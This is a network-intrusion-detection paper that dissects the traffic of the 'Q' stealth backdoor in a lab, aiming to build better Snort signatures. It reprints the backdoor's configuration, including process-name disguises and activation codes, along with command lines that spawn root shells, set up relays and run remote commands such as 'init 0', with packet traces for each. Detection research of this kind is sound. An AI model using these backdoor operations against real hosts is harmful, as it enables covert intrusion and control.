"On Q"

by Les Gordon

Les.M.Gordon-at-team.telstra.comLes.M.Gordon-at-team.telstra.com

 

Introduction

Whilst looking for interesting detects to analyse from www.incidents.org/logs/Raw, I came across the Snort "BACKDOOR Q access" alert and was fascinated by the strange packets. As far as I could tell, nobody else from the IT security community had taken a really good look at Q and published their findings as yet, despite various versions of Q having been around since 1999.  My goal for this paper was to investigate Q's capabilities, assess the risk posed by this software, see whether the existing standard Snort signatures and those at www.whitehats.com are in fact adequate, and suggest new signatures which may perhaps be more effective.  I will be concentrating on Q's network traffic behaviour in order to develop more effective NIDS detection capability.  It's beyond the scope of this paper to detail Q's behaviour and how to identify/locate Q binaries on the compromised host itself.

 

I investigated versions 0.9, 1.0, 2.0 and 2.4, however I concentrated mainly on versions 1.0 and 2.4, since 1.0 is simply a bug-fixed version of 0.9, and 2.4 is an evolution of 2.0 and I couldn't get the version 2.0 client/server pairs to establish a session.  There will be two types of Q traffic that we'll be examining.  One is the one-way traffic that is sent by "qs", the Q stealth messenger to "qd", the Q server daemon, and the other is the encrypted remote-shell session traffic.  We'll also briefly touch on a bounce/redirector or port-forwarder session.

Test platform

All testing was conducted using two Red Hat Linux 7.3 and one Windows XP Professional Virtual Machines running under VMware Workstation 3.2/3.3 and confined to their own virtual ethernet network (192.168.2.0/24). The host operating system was Windows XP Professional.  Tcpdump version 3.6 with libpcap 0.6 was used to capture the network traces.

 

What is Q? A brief run-down

Q is a primarily Unix-based remote-access tool that provides stealth capabilities to make it's presence less obvious both on the host, and in network traffic.  The product could conceivably be used by sysadmins, but I think it's far more likely to appeal to those with less pure motives.  The latest version at time of writing (2.4) may be able to be compiled and run on W32 systems as well, although I didn't try this myself.  All versions of Q are compiled as a client/server pair.  Different client/server pairs cannot establish usable sessions with each other by default.  "qd" is the server portion of Q.  "qs" is used to send covert messages to the qd server.  These messages are used to remotely execute privileged commands, invoke single-use encrypted remote shell processes, and to set up port redirection or "bounce" servers on the target host. 

            Q has evolved over a number of years and seems to have been developed more or less in parallel with the ubiquitous Tribe Flood Network (TFN) and TFN2K Distributed Denial of Service software.  All of these are the work of Mixter[1], and claim to be proof of concept - the idea being to scare IT security folk into taking system security more seriously and relying less on perimeter defences.  Mixter points out quite rightly that there are more capable tools than the ones he has made public that are being developed and used privately. The only problem is, that making this code public has encouraged another whole demographic - the "script kiddie" - to make use of it.  The stealth messaging concept used by TFN has also been used in Q, but expanded upon by adding TCP and UDP-based messages as well as ICMP.  TFN2K later went on to use this expanded capability also.  David Dittrich performed a great analysis of TFN[2] and Jason Barlow and Woody Thrower did the same for TFN2K[3].  I could find no previous analysis of Q specifically, and referred mainly to the documentation (and source) available on Mixter's web-site in addition to my own testing and observation whilst writing this paper.  I'll begin by discussing v1.0, touch on v2.0 and then move on to v2.4, and will describe notable differences.

 

Versions 0.9 and 1.0 - Overview        

v0.9 and v1.0 are virtually identical, apart from a few minor bug-fixes.  The Q v1.0 software is comprised of several components:

 

By default, qs v1.0 selects source and destination ports at random for control packets, but these can be specified on the command-line, and you can choose between TCP, UDP or ICMP protocols for sending the "stealth" activation packets.  Source and destination ports can be specified for the Q client as well.  This allows a great deal of flexibility for an attacker to get traffic through a firewall.  Stateful inspection firewalls may offer better protection against the TCP raw IP packets, which never actually establish a real TCP connection.

            The qd server uses raw sockets to watch all TCP, UDP and ICMP traffic sent to the host it's running on, and accepts traffic that it recognises as having been generated by qs.  It doesn't care what destination port is used, nor does it care which protocol is used. This type of "sniffing" of packets is different to having the network adapter listen to all traffic on the wire in promiscuous mode.  qd only sees traffic addressed to the host that qd is running on, at layer 3, and only for the 3 IP protocols already mentioned.

#ifndef _CONF_H

#define _CONF_H

#error "Please read the documentation and edit this include!"

 

#define Q_ID       12345        /* a number from 1 to 65535 */

#define Q_SHELL    "sh"         /* bash, sh, csh, ksh (yuck!), etc. */

#define Q_UID      1            /* if defined, run redirects as this user */

#undef  Q_SYSLOG                /* define this, and the daemon will swallow

                           syslog messages that would get sent to

                           console if syslogd is not running */

 

#define HIDDEN    "syslogd        "     /* qdaemon disguised */

#define HARMLESS1 "ftpd           "     /* ssh disguised */

#define HARMLESS2 "httpd          "     /* red disguised */

 

/* these should be numbers from 1 to 254 */

#define CODE_EXEC 10            /* a single command */

#define CODE_SSHD 20            /* encrypted q-shell */

#define CODE_RED  30            /* plain/crypt relay */

 

#endif

Figure 1 - Standard Q v1.0 conf.h file

 

The standard conf.h file shown in Figure 1 defines things like the static IP ID value used (12345 is the default), the type of shell to execute for remote sessions, the user-id to use for the session bouncer/redirector, whether syslog logging of Q sessions is enabled or not, what names to disguise the Q processes as, and what "code" numbers to use for activating Q's various capabilities (these act like passwords).  Note the line beginning with "#error".  The software will not compile until you remove this line - this is to encourage the default values in this file to be changed.

        ./qs [-nisdp] <-CSB> <host> [more hosts...]

        -n              insecure plaintext servers       [encrypted]

        -i <n>          protocol: 1 tcp 2 udp 3 icmp           [tcp]

        -s <n>          tcp/udp: source port, icmp: type    [random]

        -d <n>          tcp/udp: dest port, icmp: code      [random]

        -p <n>          shell/bouncer server source port

        -S              spawn qshell server

        -B <host port>  spawn qbounce to <host port>

        -C <cmd>        execute <cmd>

Figure 2 - qs usage message

 

The qs usage message in Figure 2 shows us some of the capabilities of this software.  qs is used to send crafted "stealth" messages to "qd" using raw sockets (SOCK_RAW), that are a reasonable facsimile of what normal TCP, UDP or ICMP packets look like.  In this version, TCP is the default protocol used.  Assuming that you have managed to install a compatible qd on the target, you can use qs to execute commands on the target as root or instruct qd to spawn a listener process which can be either a Q secure shell, or a Q session bouncer that will redirect your session to a 3rd party.


 

Versions 0.9 and 1.0 - Control / Activation

./qs -d 31337 -p 1028 -S 192.168.2.128

*** sending tcp packet to 192.168.2.128 destination port 31337

    request: spawn shell, port 1028

 

12:36:46.208815 101.41.2.20.455 > 192.168.2.128.31337: . [bad tcp cksum 4e65!] 588177080:588177087(7) ack 13961520 win 13004 (ttl 240, id 12345, len 47)

0x0000   4500 002f 3039 0000 f006 702a 6529 0214        E../09....p*e)..

0x0010   c0a8 0280 01c7 7a69 230e deb8 00d5 0930        ......zi#......0

0x0020   5210 32cc cec8 0000 3120 3130 3238 00          R.2.....1.1028.

Figure 3 - qs v1.0 control message using TCP

 

Figure 3 is tcpdump output (using "tcpdump -nnvvX") of the network traffic resulting from the execution of the shown qs command.  Note that the payload is clear text - i.e. not encrypted.  Later versions do not have this weakness.  Note also the bad tcp checksum.  I feel that this is in fact by design, rather than a bug.  Having an incorrect checksum here means that the regular TCP at the receiving end will not process the segment, believing it to be corrupt.  Instead it will be dropped quietly.  This doesn't bother qd, because qd watches for all TCP traffic using SOCK_RAW and will accept and process this packet.  This behaviour prevents the target machine from generating TCP RST artefacts back to the spoofed source.  Another odd characteristic of this generation of qs is that it always sets one of the TCP reserved bits in the high-order nibble (the relevant nibble is bolded and underlined in Figure 3).  This may just be a bug or it may serve some other purpose (My C programming skills were too rudimentary to work it out). Other general characteristics relevant to the TCP packets are that the TCP ACK bit is always set, and the TCP sequence, acknowledgement number and window size are always randomly generated values.

./qs -i 2 -d 31337 -p 1028 -S 192.168.2.128

*** sending udp packet to 192.168.2.128 destination port 31337

    request: spawn shell, port 1028

 

12:38:27.454077 131.198.0.20.6137 > 192.168.2.128.31337:  [bad udp cksum 4e65!] udp 7 (ttl 240, id 12345, len 35)

0x0000   4500 0023 3039 0000 f011 538e 83c6 0014        E..#09....S.....

0x0010   c0a8 0280 17f9 7a69 000f 2c94 3120 3130        ......zi..,.1.10

0x0020   3238 0000 0000 0000 0000 0000 0000             28............

Figure 4 - qs v1.0 control message using UDP

 

Figure 4 shows us the tcpdump trace of the same qs command, but using UDP as the transport.  Again, the checksum value is incorrect, by design.  The payload is much the same as for the TCP packet.  We have a different random source IP address this time and all of the other tell-tale characteristics of the qs-generated IP packet are there - The IP ID is fixed to the value set in the file "conf.h" shown back in Figure 1; the IP TTL is always 240 and the IP Type Of Service field is always zero (both defined in "forge.c").  Unfortunately, since UDP is such a simple protocol, there are no obvious flaws from which a reliable Snort NIDS signature could be drawn.

./qs -i 3 -p 1028 -S 192.168.2.128

*** sending icmp packet to (null), type 0, code 0

    request: spawn shell, port 1028

 

12:39:35.717910 76.24.3.20 > 192.168.2.128: icmp: echo reply (wrong icmp csum) (ttl 240, id 12345, len 35)

0x0000   4500 0023 3039 0000 f001 884c 4c18 0314        E..#09.....LL...

0x0010   c0a8 0280 0000 f3c3 0000 0000 3120 3130        ............1.10

0x0020   3238 0000 0000 0000 0000 0000 0000             28............

Figure 5 - qs v1.0 control message using ICMP

 

In figure 5, we look at an ICMP packet generated by qs v1.0.  All the usual unchanging values are there in the IP header, and for ICMP we note that qs uses an ICMP echo reply (code 0, type 0).  This type of packet should never draw a reply from the recipient, but we still note that the ICMP checksum is incorrectly calculated.  Later versions of qs do in fact calculate this correctly.  Something interesting here is that the ICMP echo reply identifier or sequence number fields are both zero.  According to W. Richard Stevens[4], "As with other ICMP query messages, the server must echo the identifier and sequence number fields" and "The sequence number starts at 0 and is incremented every time a new echo request is sent".  So, the sequence number could be zero if this were the 1st packet of a ping, but what are the chances that the identifier would also be zero?  On a Unix system, this is set to the process ID of the sending process - others may generate a unique random value.  Examining the payload, the 1st thing we see is "31".  This tells qd that qs wants it to specify that encryption is required for any shell processes it spawns.  If encryption is not required, we'd see a "30" here instead.  Next we see "20" (space character), which is simply the delimiter. Following that we see "31303238", which is hex for the ASCII characters "1028" - the port number that we specified on the qs command-line using the option "-p". 

 

Versions 0.9 and 1.0 - Remote Shell Request & Session

Assuming that we had a compatible version of qd running on 192.168.2.128 and that at least one of these packets made it through the site's defences, we should now have a Q encrypted shell process listening on port 1028. Let's now take a look at one of these sessions through the eyes of tcpdump and connect to our target - refer to Figure 6. We need to enter an encryption key - the same one (min 8 characters) that is prompted for at compile time.

# ./Q 192.168.2.128 888 53

Key:

[connected to 192.168.2.128:888]

id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

Figure 6a - Connecting to a Q secure shell process using Q v1.0

 

Note that in the interests of brevity, I've removed superfluous ACK packets.  The first exchange we see in Figure 6b is the familiar TCP 3-way handshake.  Next is our command "id", AES[5] encrypted and base-64 encoded.  Following is the returned response that you can see in Figure 6a, also encrypted and base-64 encoded.  There are a few things to note here.  Raw sockets are not used for these sessions.  This is the normal TCP/IP stack.  Note the incrementing IP ID values, matching sequence & acknowledgment numbers etc.  The 2nd thing is that base-64 encoding results in ASCII output, and trailing nulls become 'A's.  This is a weakness and a potential signature, although in the absence of other defining characteristics, the likelihood of false positives is fairly high.  Another thing is that since these sessions use the standard TCP/IP protocol stack and real TCP sessions, we can learn a lot about the end-points by using passive fingerprinting techniques, such as matching up TCP options, TCP window sizes, guessing initial TTLs and so on.  We can also be fairly certain that the source IP used has not been spoofed, although it also likely that this IP doesn't belong to the attacker and is just one in a long chain of session "bouncers" and open proxies used to hide the attacker's actual location.

14:27:47.263450 192.168.2.130.32874 > 192.168.2.128.888: S [tcp sum ok] 4244145042:4244145042(0) win 5840 <mss 1460,sackOK,timestamp 3727322 0,nop,wscale 0> (DF) (ttl 64, id 23624, len 60)

 

14:27:47.264275 192.168.2.128.888 > 192.168.2.130.32874: S [tcp sum ok] 4282600567:4282600567(0) ack 4244145043 win 5792 <mss 1460,sackOK,timestamp 8354523 3727322,nop,wscale 0> (DF) (ttl 64, id 0, len 60)

 

14:27:47.427634 192.168.2.130.32874 > 192.168.2.128.888: . [tcp sum ok] 1:1(0) ack 1 win 5840 <nop,nop,timestamp 3727323 8354523> (DF) (ttl 64, id 23625, len 52)

 

14:27:50.315492 192.168.2.130.32874 > 192.168.2.128.888: P [tcp sum ok] 1:27(26) ack 1 win 5840 <nop,nop,timestamp 3727635 8354523> (DF) (ttl 64, id 23626, len 78)

0x0000   4500 004e 5c4a 4000 4006 580d c0a8 0282        E..N\J@.@.X.....

0x0010   c0a8 0280 806a 0378 fcf8 8393 ff43 4c78        .....j.x.....CLx

0x0020   8018 16d0 c56a 0000 0101 080a 0038 e113        .....j.......8..

0x0030   007f 7adb 6873 7836 7a55 686d 5336 6330        ..z.hsx6zUhmS6c0

0x0040   6871 345a 3663 4266 5551 4141 4141             hq4Z6cBfUQAAAA

 

14:27:52.323310 192.168.2.128.888 > 192.168.2.130.32874: P [tcp sum ok] 1:140(139) ack 27 win 5792 <nop,nop,timestamp 8355028 3727635> (DF) (ttl 64, id 13988, len 191)

0x0000   4500 00bf 36a4 4000 4006 7d42 c0a8 0280        E...6.@.@.}B....

0x0010   c0a8 0282 0378 806a ff43 4c78 fcf8 83ad        .....x.j.CLx....

0x0020   8018 16a0 6d59 0000 0101 080a 007f 7cd4        ....mY........|.

0x0030   0038 e113 6844 7a65 6f51 6558 5045 612b        .8..hDzeoQeXPEa+

0x0040   7844 4247 332b 3737 7544 6950 394e 7a68        xDBG3+77uDiP9Nzh

0x0050   514f 474a 6273 7265 7667 4e71 6f34 5851        QOGJbsrevgNqo4XQ

0x0060   5351 6e62 6f54 5a42 4630 3135 6f43 322f        SQnboTZBF015oC2/

0x0070   5952 5130 336d 5732 382b 5435 7267 6958        YRQ03mW28+T5rgiX

0x0080   4b6b 3146 777a 6c59 6479 6e73 7853 7938        Kk1FwzlYdynsxSy8

0x0090   4c69 7a78 346b 536f 5662 4b6b 4343 7642        Lizx4kSoVbKkCCvB

0x00a0   354b 4a68 3230 3749 5465 3462 775a 6b78        5KJh207ITe4bwZkx

0x00b0   4568 7141 4141 4141 4141 4141 4141 41          EhqAAAAAAAAAAAA

 

14:27:52.436212 192.168.2.130.32874 > 192.168.2.128.888: . [tcp sum ok] 27:27(0) ack 140 win 5840 <nop,nop,timestamp 3727842 8355028> (DF) (ttl 64, id 23627, len 52)

Figure 6b - Connecting to a Q secure shell process using Q v1.0 - tcpdump trace

 

Next we look at the encrypted payload from three different sessions.  All sessions have the same payload.  The 1st two are by the same client/server pair, and the 3rd is generated by a different client/server pair, using a different encryption key.

0x0030   0081 c79a 6464 4f68 6f41 3133 794c 474c        ....ddOhoA13yLGL

0x0040   6d43 4a63 6f4d 6b37 5651 4141 4141             mCJcoMk7VQAAAA

 

0x0030   0082 a940 6464 4f68 6f41 3133 794c 474c        ...@ddOhoA13yLGL

0x0040   6d43 4a63 6f4d 6b37 5651 4141 4141             mCJcoMk7VQAAAA

Figure 7 - Payload from two Q sessions using the same encryption key

 

0x0030   007f 7adb 6873 7836 7a55 686d 5336 6330        ..z.hsx6zUhmS6c0

0x0040   6871 345a 3663 4266 5551 4141 4141             hq4Z6cBfUQAAAA

Figure 8 - Payload from a Q session using a different encryption key to those in Figure 7

 

The results displayed in Figure 7 and 8 suggest that the encryption algorithm used by Q v1.0 will generate the same hash repeatedly, given the same input.  This is a possible weakness, although in reality it would not be trivial to exploit.  It may be possible to brute force the encryption key if one knew the encryption algorithm used and what the unencrypted string was, however with a strong key (min 8 characters by default) this could take some doing.


 

Versions 0.9 and 1.0 - Session Redirection / Bouncer Request

Refer to Figure 9 to see what a request for a session "bouncer" looks like.  The "-p" option specifies the port that the session bouncer should listen for connections on and the "-B "192.168.1.1 23" option specifies that the session will be redirected to 192.168.1.1, port 23.  The session between this host and the host running the session bouncer can be encrypted (not in this case, because I specified "-n"), whereas the session traffic bounced from that server to the ultimate target, is never encrypted.

./qs -i 1 -n -p 888 -B "192.168.1.1 23" 192.168.2.128

*** sending tcp packet to 192.168.2.128 (no encryption)

    request: spawn bouncer, port 888, dest ip 192.168.1.1, dest port 23

 

13:01:20.764650 114.18.6.30.37762 > 192.168.2.128.21318: . [bad tcp cksum 4e65!] 1857365197:1857365218(21) ack 1001985933 win 18408 (ttl 240, id 12345, len 61)

0x0000   4500 003d 3039 0000 f006 5f29 7212 061e        E..=09...._)r...

0x0010   c0a8 0280 9382 5346 6eb5 24cd 3bb9 178d        ......SFn.$.;...

0x0020   5010 47e8 0cc4 0000 3020 3838 3820 3233        P.G.....0.888.23

0x0030   2031 3932 2e31 3638 2e31 2e31 00               .192.168.1.1.

Figure 9 - Requesting a session "bouncer" using qs v1.0 - command/output + tcpdump trace

 

Referring to Figure 9, note that the "30" indicates a request for an unencrypted shell, "20" is the command parameter delimiter, "383838" indicates that the session redirection server should listen on port 888, and the subsequent space-delimited parameters "23" and "192.168.1.1" indicate the port and IP address of the 3rd party target to which the session is to be forwarded.

 

Versions 0.9 and 1.0 - Remote Command Execution Request

Finally, in Figure 10, you will see a qs request to execute a command on the target (192.168.2.128) server running qd.  Note that there is no encryption of the payload.

./qs -C "init 0" 192.168.2.128

*** sending tcp packet to 192.168.2.128 (no encryption)

    request: run command 'init 0'

 

13:11:08.679773 0:50:56:f2:ed:f9 0:50:56:eb:22:77 0800 61: 56.57.0.10.376 > 192.168.2.128.51665: . [bad tcp cksum 4e65!] 181925536:181925543(7) ack 93242435 win 10025 (ttl 240, id 12345, len 47)

0x0000   4500 002f 3039 0000 f006 9f24 3839 000a        E../09.....$89..

0x0010   c0a8 0280 0178 c9d1 0ad7 f6a0 058e c443        .....x.........C

0x0020   5210 2729 9c44 0000 696e 6974 2030 00          R.').D..init.0.

Figure 10 - Requesting remote command execution with qs v1.0 - command/output + tcpdump trace

 

Versions 2.0 - Overview

Version 2.0 sees an almost complete re-write of this software.  Mixter has produced a library called libmix (libmix-v107 comes with Q-2.0), which is a collection of functions designed specifically for crafting TCP, UDP and ICMP packets using raw IP.  It also provides cryptographic and other general functions.  libmix is also used by the ubiquitous TFN2K or Tribe Flood Network 2000.  In fact, the functions used by qs and qd to communicate (still one-way, of course) in V2.x are even called "tfntransmit" and "tfnread".  These functions now incorporate the ability to encrypt the payload of qs packets.       Since v2.0, what used to be the Q client 'Q' is now 'q'.  q can run qs for you, rather than it having to be a separate step as before. "transd" is now built into 'q'. Version 2.0 incorporates Mixter's own challenge authentication scheme "CSA".  Q v2.x generates a random "auth number" automatically in the file hash.h at compile time.  You are strongly encouraged to make a note of these credentials, and then remove that file.  If you need to connect to a server that was compiled with a different auth number than your q client, then you can supply the number with the command-line option '-s'. 

With regards to protocol header characteristics for packets generated by qs v2.0, they appear to be identical to those generated by v2.4.  Shell sessions use the normal TCP/IP stack and should follow the standard rules for that protocol as implemented by the Operating System they're running on.  It's now easier to choose a different encryption algorithm. From "q.h":

 

/* AES Algorithm, one of: CAST256, MARS, SAFERP, TWOFISH, RIJNDAEL */

#define Q_ALG SAFERP

#endif

 

Versions 2.4 - Overview

This release changes from CSA to RSA style authentication for remote shell and session bouncer sessions, introduces Mixter's own SSL-style protocol, "iSSL" and uses Rijndael encryption.  RSA bit strength is 4096 bits by default, although this can be reduced (minimum is 1536) to improve performance. Versions of Q prior to 2.4 prompted for an encryption key at compile time.  That's now optional and not required by default.  The README file for v2.4 gives a inkling that since version 2.2, Q may compile and run on W32 systems as well as Unix and describes the extensive security and privacy features incorporated in the latest publicly available version (2.4):

 

2.2

 

Tunneling version release by zer0. Incorporated changes and

win32 compatibility fixes from zer0 <z00er0@hotmail.com>

 

SECURITY STATEMENT

 

....Control packets contain double AES encrypted data and are authenticated with an authentication token that is not sent over the network in plaintext. The server has the ability to log all incoming queries to syslog........ Client/server sessions (encrypted redirection and interactive shells) are AES encrypted and authenticated with both authentication and a password.  The Q program suite uses CSA, a password challenging method, which determines the password out of a secure one-way hash, and the highly secure RSA with for establishing longer shell/bouncer sessions. Temporary, changing strong RSA keys ensure that connections cannot be eavesdropped easily.....[6]

 

#ifndef _CONF_H

#define _CONF_H

 

#define Q_RSABITS       4096

 

#define Q_SHELL    "sh"         /* bash, sh, csh, ksh (yuck!), etc. */

#define Q_UID      1            /* if defined, run redirects as this user */

 

#define HIDDEN    "klogd"       /* qdaemon process name disguised */

#define HARMLESS1 "ftpd"        /* ssh process name disguised */

#define HARMLESS2 "httpd"       /* red process name disguised */

#define CODE_EXEC "++exec+"     /* a single command */

#define CODE_SSHD "++ssh+"      /* encrypted q-shell */

#define CODE_RED  "++red+"      /* plain/crypt relay */

#define CODE_SHL  "++shell+"    /* change default shell */

#define CODE_UID  "++uid+"      /* change default uid */

#define CODE_TT   "++tunnel+"   /* tunneling mode, not implemented */

 

#define WANT_LOGGING            /* send authentication messages to syslog */

#define PIDFILE   ".q"          /* pid file, to keep qd from spawning multiple

                                   instances of itself, optional */

#endif

Figure 11 - standard Q "conf.h" file

 

Let's begin by referring to Figure 11 and looking at the standard "conf.h" file for Q v2.4.  This time there is nothing which forces you to change any defaults, but any respectable hacker would want to disable messages being generated to syslog and probably wouldn't want any files named ".q" containing the Q daemon's process ID created. :)  Almost all protocol header fields used in packets generated by executing qs are now randomly generated, so no IP ID value is statically defined here this time.  Extra CODE_* values hint at extra functionality. Refer to Figure 12 for a look at the usage message:

 

        ./qs [-p] [-niasd] <-CSB> <host> [more hosts...]

        -p <n>          shell/bouncer server listening port

        -n              insecure plaintext servers     [encrypted]

        -i <n>          protocol (I/U/T)               [random]

        -a <n>          custom auth token              [hardcoded]

        -s <n>          source IP                      [random]

        -S              spawn qshell server

        -B <host port>  spawn qbounce to <host port>

        -C <cmd>        execute <cmd>

        -P <prg>        set a new program as remote shell

        -U <uid>        set a new user id for redirecting

Figure 12 - qs v2.4 usage message

 

qs now allows you to specify the spoofed source IP address of control packets sent to activate servers or execute remote commands.  By default, they are randomly generated.  The protocol used is now randomly chosen between TCP, UDP and ICMP, unless otherwise specified.  This version (and 2.0) seems to have a bug which prevents you from selecting a protocol of your own choosing - you are stuck with the random choice.  As well as executing remote commands using the shell predefined in the "conf.h" file, you can now specify what remote program to use as your remote shell using qs.

 

Version 2.0 and 2.4 - Control / Activation

Refer to the command shown in Figure 13 - because I was unable to get the "-i" option working, I simply executed the same command repeatedly.  As the default is to select a protocol at random, I eventually ended up with samples of each - refer to Figures 13-16.

./qs -p 1028 -S 192.168.2.128

[*] request: shell, port 1028

[*] sending control packet to 192.168.2.128 (encrypted)

Figure 13 - qs v2.4 request to spawn a remote encrypted shell - command/output

 

In figures 14 and 15, notice that we still have the now familiar incorrectly calculated checksums for TCP and UDP, but in Figure 16, the ICMP checksum is now calculated correctly.  This is probably because an ICMP echo reply should never elicit a response, regardless of the state of the checksum, whereas TCP and UDP would likely reply to the spoofed source address.

21:13:54.991534 237.187.96.0.31490 > 192.168.2.128.14153: S [bad tcp cksum 95ff!] 4446272:4446378(106) ack 0 win 0 (ttl 223, id 20431, len 126)

0x0000   4500 007e 4fcf 0000 df06 7ac6 edbb 6000        E..~O.....z...`.

0x0010   c0a8 0280 7b02 3749 0043 d840 0000 0000        ....{.7I.C.@....

0x0020   0012 0000 58a2 0000 6742 6b53 7777 464c        ....X...gBkSwwFL

0x0030   466d 766a 6f47 3467 5665 7974 4561 4c36        FmvjoG4gVeytEaL6

0x0040   376f 346c 4963 6563 5448 7164 5054 3233        7o4lIcecTHqdPT23

0x0050   4669 4e4f 5046 4b72 314c 7670 7345 4676        FiNOPFKr1LvpsEFv

0x0060   6950 2f43 6851 2b36 4372 6e33 5151 5042        iP/ChQ+6Crn3QQPB

0x0070   376f 7656 6132 4235 4d2f 5157 5577             7ovVa2B5M/QWUw

Figure 14 - qs v2.4 request to spawn a remote encrypted shell (TCP) - tcpdump trace

 

In figure 14, note that the TCP header length field is always set to zero.  This is a useful signature, although it's probably easy enough for a seasoned coder to correct this flaw.  Looking at the c code, I don't think this behaviour was intentional.  In this particular example, we ended up with TCP ACK and Window sizes of zero, however, most header fields for raw IP control packets generated by 'qs' are now randomly generated, including Source IP address, IP ID (>=1024), initial TTL (>=200), presence or absence of TCP SYN and/or ACK flags, TCP (and UDP) source and destination ports, TCP Sequence and Acknowledge numbers, ICMP ID and sequence numbers (>=0).  The algorithm is not clever enough to take into account that it's ok to have, for instance a TCP acknowledgment number of zero if the TCP SYN flag is set, but not if there is no SYN flag set, and so on.  Every now and then, inappropriate values are generated for fields.  It's possible to draw "all ones" and "all zeros" values for many fields, including the spoofed source IP address.

21:13:52.628616 236.79.203.0.56105 > 192.168.2.128.15577:  [bad udp cksum 1785!] udp 56 (ttl 233, id 45962, len 114)

0x0000   4500 0072 b38a 0000 e911 a377 ec4f cb00        E..r.......w.O..

0x0010   c0a8 0280 db29 3cd9 0040 dc2b 6742 6b53        .....)<..@.+gBkS

0x0020   7777 464c 466d 766a 6f47 3467 5665 7974        wwFLFmvjoG4gVeyt

0x0030   4561 4c36 376f 346c 4963 6563 5448 7164        EaL67o4lIcecTHqd

0x0040   5054 3233 4669 4e4f 5046 4b72 314c 7670        PT23FiNOPFKr1Lvp

0x0050   7345 4676 6950 2f43 6851 2b36 4372 6e33        sEFviP/ChQ+6Crn3

0x0060   5151 5042 376f 7656 6132 4235 4d2f 5157        QQPB7ovVa2B5M/QW

0x0070   5577                                           Uw

Figure 15 - qs v2.4 request to spawn a remote encrypted shell (UDP) - tcpdump trace

 

In Figures 14-16, note that a portion of the encrypted payload is always the same, at least for this client/server pair using this particular encryption algorithm.  The encrypted result will change for different client/server pairs, compiled using different randomly generated auth IDs and encryption keys, and also where different encryption algorithms to the default (SAFERP) are specified.

21:13:53.898454 102.239.104.0 > 192.168.2.128: icmp: echo reply (ttl 236, id 7800, len 114)

0x0000   4500 0072 1e78 0000 ec01 1dfb 66ef 6800        E..r.x......f.h.

0x0010   c0a8 0280 0000 324d 0000 2671 4466 4e62        ......2M..&qDfNb

<snipped for brevity - identical to UDP output in Figure 15>

Figure 16 - qs v2.4 request to spawn a remote encrypted shell (ICMP) - tcpdump trace

 

In Figure 16, note that we have drawn an ICMP echo reply identifier value of zero, and a rather large ICMP echo sequence number of 0x2671 (decimal 9841).  Anomalies such as this are likely the best way to catch this version of Q out.

Version 2.0 - Remote Shell Request

Version 2.0 encrypts the payload of control packets and the only thing to note in the payload is that for any given content, given the same encryption scheme and key, the same payload is generated repeatedly, regardless of the protocol used i.e. TCP, UDP or ICMP.  Also, Mixter no longer uses base-64 encoding (so no trailing 'A's).  The protocol-header characteristics and anomalies are identical to v2.4.

Version 2.4 - Remote Shell Request & Session

Figure 17a examines a session establishment using 'q'.  As with version 1.0, notice that this is a "normal" TCP connection, NOT using raw sockets, and that all the usual rules are followed i.e. incrementing IP ID values etc.  Passive O/S fingerprinting and identification of the source is possible.  During this establishment phase, we see the exchange of a 4096 bit hash of the encryption key.  The highlighted data would appear to be a protocol header for the key exchange mechanism and a potential candidate for a NIDS signature - we'll see how much this data changes later, from algorithm to algorithm and depending upon the bit-strength chosen for the hash.

./q -l 1028 192.168.2.128       

...+++++

............................+++++

[connected to 192.168.2.128:1028]

 

22:07:46.948617 192.168.2.130.32917 > 192.168.2.128.1028: S [tcp sum ok] 354037143:354037143(0) win 5840 <mss 1460,sackOK,timestamp 6202934 0,nop,wscale 0> (DF) (ttl 64, id 35745, len 60)

22:07:46.952743 192.168.2.128.1028 > 192.168.2.130.32917: S [tcp sum ok] 3364650016:3364650016(0) ack 354037144 win 5792 <mss 1460,sackOK,timestamp 1188874 6202934,nop,wscale 0> (DF) (ttl 64, id 0, len 60)

22:07:47.051268 0:50:56:f2:ed:f9 0:50:56:eb:22:77 0800 66: 192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 1:1(0) ack 1 win 5840 <nop,nop,timestamp 6202935 1188874> (DF) (ttl 64, id 35746, len 52)

22:07:47.051314 192.168.2.130.32917 > 192.168.2.128.1028: P [tcp sum ok] 1:537(536) ack 1 win 5840 <nop,nop,timestamp 6202936 1188874> (DF) (ttl 64, id 35747, len 588)

0x0000   4500 024c 8ba3 4000 4006 26b6 c0a8 0282        E..L..@.@.&.....

0x0010   c0a8 0280 8095 0404 151a 2d98 c88c 7c21        ..........-...|!

0x0020   8018 16d0 ba6c 0000 0101 080a 005e a638        .....l.......^.8

0x0030   0012 240a 8000 0000 8000 0000 8000 0000        ..$.............

0x0040   0000 0000 0000 0000 0000 0000 3322 7f95        ............3"..

0x0050   16b7 0cdf c696 a626 a843 5462 4b55 0f50        .......&.CTbKU.P

0x0060   2d8f 14e6 855b ac0e 171c 1428 91e7 d613        -....[.....(....

0x0070   220d 94f5 6705 cc36 f5ff 4b3e 67a1 8129        "...g..6..K>g..)

0x0080   7a8b 59c5 f8c4 189b a27b 8387 64a4 eb6d        z.Y......{..d..m

<snipped for brevity>

0x0240   cac6 a443 f9b2 df0a be8c 6596                  ...C......e.

22:07:47.026028 192.168.2.128.1028 > 192.168.2.130.32917: P [tcp sum ok] 1:537(536) ack 537 win 6432 <nop,nop,timestamp 1188875 6202936> (DF) (ttl 64, id 22572, len 588)

0x0000   4500 024c 582c 4000 4006 5a2d c0a8 0280        E..LX,@.@.Z-....

0x0010   c0a8 0282 0404 8095 c88c 7c21 151a 2fb0        ..........|!../.

0x0020   8018 1920 e11a 0000 0101 080a 0012 240b        ..............$.

0x0030   005e a638 8000 0000 8000 0000 8000 0000        .^.8............

0x0040   0000 0000 0000 0000 0000 0000 d742 f293        .............B..

0x0050   c790 d5bb 9927 2c88 8fda f040 4e9b d178        .....',....@N..x

0x0060   d72e 7d58 453f fb38 42f0 9226 db33 3f1a        ..}XE?.8B..&.3?.

0x0070   98aa b49c 6d77 091d c3ed 20b6 eab8 f9c4        ....mw..........

0x0080   268d 8df3 e1b9 97c0 03c0 95e1 409c 4633        &...........@.F3

<snipped for brevity>

0x0240   6540 7718 fce2 2679 ed5b 1fa4                  e@w...&y.[..

22:07:47.027458 192.168.2.130.32917 > 192.168.2.128.1028: . [tcp sum ok] 537:537(0) ack 537 win 6432 <nop,nop,timestamp 6202939 1188875> (DF) (ttl 64, id 35748, len 52)

